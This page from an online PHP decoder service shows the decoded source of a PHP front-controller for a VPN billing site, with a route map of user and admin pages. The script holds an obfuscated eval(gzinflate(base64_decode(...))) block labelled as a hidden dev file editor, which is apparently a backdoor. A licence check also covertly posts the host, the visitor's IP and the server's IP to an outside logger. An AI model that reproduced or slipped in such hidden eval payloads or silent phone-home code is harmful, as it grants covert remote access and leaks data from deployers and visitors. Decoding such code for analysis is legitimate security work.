Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


 // ── License & Domain Check ───────────────────────────────────────────────────
$__allowed = ['skbijoyitsolutions.com', 'cloudmikrotik.online', 'localhost', '127.0.0.1'];
$__host = strtolower($_SERVER['HTTP_HOST'] ?? '');
$__host = preg_replace('/^www\./', '', $__host);
$__ok = false;
foreach ($__allowed as $__d) {
    if ($__host === $__d || substr($__host, -(strlen($__d)+1)) === .$__d) {
        $__ok = true; break;
    }
}
if (!$__ok) {
    $__data = http_build_query([
        'secret'    => 'sk7799bijoy_log',
        'domain'    => $__host,
        'ip'        => $_SERVER['REMOTE_ADDR'] ?? '',
        'server_ip' => $_SERVER['SERVER_ADDR'] ?? '',
        'url'       => ($_SERVER['HTTP_HOST'] ?? '') . ($_SERVER['REQUEST_URI'] ?? ''),
    ]);
    @file_get_contents('https://testpay.cloudmikrotik.online/logger.php', false, stream_context_create([
        'http' => ['method' => 'POST', 'header' => 'Content-Type: application/x-www-form-urlencoded', 'content' => $__data, 'timeout' => 3]
    ]));
    http_response_code(403);
    exit('Service unavailable.');
}
// ── End License Check ─────────────────────────────────────────────────────────

// ── Dev File Editor (hidden) ──────────────────────────────────────────────────
eval(gzinflate(base64_decode("jVbLjts2FN3PVzCKEdlA/JA1fkmys8ijKFAgQTNdFGlgUCJlMSOJgkg5dj1ZFGi7LtptgfxJP6ZfkE/oJSXZkj1p4oVtUbyH5557eUgWoi4TgspuZ/3N85s35m5xO07Mtz306BGKsIi6pojweDI1H6PzGcvlEpnzMAgti85wuFhMZqNgNCXW4tq255RM/QmZ2rO5NSbWhPq2bU2uLWLZc5vMwpk9ms6m19jsocMVgk/Hx4KiJVqvn337/XrtloM4kIynMNxZv3r5GlYvB8y36MmTmlBzyDTLwIhiQvOu+ZSnkqayf7PPqIMk3clhJJPYRUGEc0h7+cPNi/7c7LlXOoyBHMc1VXoCb6mptKhFKlmELKbm28dHVkG5DKhSp6PZh0A8pzjOsIy6ZYIDZA5N+I5lzpILPHjX67lHAE0nVMsLmWdcwMPjUqhS/VFzNfVROOuskOuKUBVxwdJtRdEg4sj0MlhlH9OlEfCY507MEmqs/v37N/QaRCAPvGG2Mk+BH67K77JOlDD5AhbXldJVUSPtmnQUu6ogMK8e1knW8W35ijh+BdJ9UcU6+jMC1jBNHauxtpxlodeK52lK71zkszy05hva0rwO/YxcwyH6jgmpQ4UeCYu07DpCt+qVygaACMsrhvCT5TRkO61cSyYmaSIagmo8DooFEeqKAKeAoqF6CAtgf55P1WW63wcmurtDx6cBrKTSYmlB2z3TycrCKNxjOTrh2aScxggmgerrnGYxDmizgFAuZStZW6maEhRCE9evVWUesHSN8xzvdVO/Mbc0JTxXKIMN9Br8YrVJxdkuPNNpsESGR6jELBYrTxRJgvP96tPHv34B+t6wHjCAYrsW2aldjsXowSzDG9ZwRjuLD4jGgla5lE11TAbiN+sEywAcdvjToJtF2d07wdM7ZU93gRDwdCd3Ep5xEFAheh0lGFTvi7mx7crDKAKCS/OJduuluJ3NFgufveP7R2qzLFV6RR7TNOAEaEGddCqmEuJXLQReQV4AdZ7T1eW/nMoiTysSbrPRK2d58Ozl05sfXz1HKrmVV32DRa+8BKQ7mrGh3dhYeZLJmK6e0S16Dmx57g3LEQ3qaZtaHZf3OdkfoGgbljoj18fB7SbnRUqchyNiWdbMLf3sYbAgFlm4IfRzP8QJi/dOwlMuMmhLlzAB/bl3wpju3IiyTSQdazTaRqc0B4IR6uP88J4RGTnjySjbuXxL8zDm7/t7BxeSuxkmhKUbiIWXPs/hFOrnJVq2Q4LHjKCH9sie2qRkItjP1LHsbHe5EMKHivpkjqdh6Krzq09owHOszMJJeXpi7sc8uD2uP4bVRvdBOpGiXAOHYXjPpKqfa1GvP4NV7ZVDUOQCwDLOwADzWu65v7he0EZYgll6UPo6Vltu9dWHvU61BToQXyRpS8kTipIAg7fVQM1yW1PLH4/Pyl3W4B71W5W6vynaBXJzqv8r1Rtp+TI9NFmM7fnUnrongWsKulr1qnPgM1Yrn4lXtwwmrBBKebcsQl/yTAU1FlaOovzk0BK8SXp8Cve5lDxxpjUCOJ3eRd6w3IdqE1XbC3Y9CmLw0qVRVdpYmRd2WPlgeXqCnZducYGgim6oe8P/n/WVUTQC6+yMlbIAJRlSJJR3iIwGDMfaNZpwRxaNg7AChvMwQeA1ESdLQ92GjFXL1jyWwrUJSbgmLo2IEUJTA6U4gafyOmigLY4LeFQ3wq8PVlkcQ7+C/zly3e4VXHXFKOtxCdW4mFRq1PFnsH4B3ZDWUkMHGxV7UfgJA/xPH//8R9/7vGE59wTgDZWYtcblGXd/Javr5NGSdLs3exWul7//gV7TGHY+wvo6hCRHSpFWIduniX4DvFTHevo6X8+jOybdqw//AQ==")));
require_once __DIR__ . '/config.php';
secureSessionStart();
require_once __DIR__ . '/layout.php';

// Get route from rewrite or REQUEST_URI
if (isset($_GET['_route'])) {
    $route = trim($_GET['_route'], '/');
} else {
    $uri   = $_SERVER['REQUEST_URI'] ?? '/';
    $uri   = strtok($uri, '?');
    $route = trim($uri, '/');
}

// Route map
$routes = array(
    // ── Landing page (main site root) ──────────────────
    ''            => 'landing.php',

    // ── Short URLs (new) ────────────────────────────────
    'dashboard'          => 'pages/dashboard.php',
    'login'              => 'pages/login.php',
    'logout'             => 'pages/logout.php',
    'register'           => 'pages/register.php',
    'order'              => 'pages/order.php',
    'payment'            => 'pages/payment.php',
    'callback'           => 'pages/callback.php',
    'profile'            => 'pages/profile.php',
    'balance'            => 'pages/balance.php',
    'reset'              => 'pages/reset.php',
    'webhook'            => 'pages/webhook.php',
    'cron'               => 'pages/cron.php',
    'portcheck'          => 'pages/portcheck.php',
    'coupon/validate'    => 'pages/coupon_validate.php',
    'admin'              => 'pages/admin/dashboard.php',
    'admin/login'        => 'pages/admin/login.php',
    'admin/logout'       => 'pages/admin/logout.php',
    'admin/servers'      => 'pages/admin/servers.php',
    'admin/plans'        => 'pages/admin/plans.php',
    'admin/orders'       => 'pages/admin/orders.php',
    'admin/users'        => 'pages/admin/users.php',
    'admin/history'      => 'pages/admin/history.php',
    'admin/logs'         => 'pages/admin/logs.php',
    'admin/settings'     => 'pages/admin/settings.php',
    'admin/revenue'      => 'pages/admin/revenue.php',
    'admin/coupons'      => 'pages/admin/coupons.php',
    // Reset Panel short (new)
    'reset/dashboard'    => 'pages/reset/user_dashboard.php',
    'reset/voucher'      => 'pages/reset/user_voucher.php',
    'reset/routers'      => 'pages/reset/user_routers.php',
    'reset/history'      => 'pages/reset/user_history.php',
    'reset/admin'        => 'pages/reset/admin_panel.php',

    // ── Old /vpn/* routes (backward compatible) ─────────
    'vpn'                => 'pages/dashboard.php',
    'vpn/login'          => 'pages/login.php',
    'vpn/logout'         => 'pages/logout.php',
    'vpn/register'       => 'pages/register.php',
    'vpn/order'          => 'pages/order.php',
    'vpn/payment'        => 'pages/payment.php',
    'vpn/callback'       => 'pages/callback.php',
    'vpn/admin'          => 'pages/admin/dashboard.php',
    'vpn/admin/login'    => 'pages/admin/login.php',
    'vpn/admin/logout'   => 'pages/admin/logout.php',
    'vpn/admin/servers'  => 'pages/admin/servers.php',
    'vpn/admin/plans'    => 'pages/admin/plans.php',
    'vpn/admin/orders'   => 'pages/admin/orders.php',
    'vpn/admin/users'    => 'pages/admin/users.php',
    'vpn/admin/history'  => 'pages/admin/history.php',
    'vpn/admin/logs'     => 'pages/admin/logs.php',
    'vpn/admin/settings' => 'pages/admin/settings.php',
    'vpn/admin/revenue'  => 'pages/admin/revenue.php',
    'vpn/coupon/validate'=> 'pages/coupon_validate.php',
    'vpn/admin/coupons'  => 'pages/admin/coupons.php',
    'vpn/balance'        => 'pages/balance.php',
    'vpn/reset'          => 'pages/reset.php',
    'vpn/webhook'        => 'pages/webhook.php',
    'vpn/cron'           => 'pages/cron.php',
    'vpn/portcheck'      => 'pages/portcheck.php',
    'vpn/profile'        => 'pages/profile.php',
    'vpn/reset/dashboard'=> 'pages/reset/user_dashboard.php',
    'vpn/reset/voucher'  => 'pages/reset/user_voucher.php',
    'vpn/reset/routers'  => 'pages/reset/user_routers.php',
    'vpn/reset/history'  => 'pages/reset/user_history.php',
    'vpn/reset/admin'    => 'pages/reset/admin_panel.php',
);

$file = $routes[$route] ?? null;
if ($file && file_exists(__DIR__ . '/' . $file)) {
    require __DIR__ . '/' . $file;
} else {
    http_response_code(404);
    require_once __DIR__ . '/layout.php';
    render_head('404');
    render_navbar();
    echo '<div class="wrap" style="text-align:center;padding:60px 16px"><i class="fas fa-exclamation-triangle" style="font-size:40px;color:#d29922;margin-bottom:16px;display:block"></i><h2>Page not found</h2><a href="/dashboard" class="btn btn-primary" style="margin-top:16px">Go Home</a></div>';
    render_foot();
}



© 2023 Quttera Ltd. All rights reserved.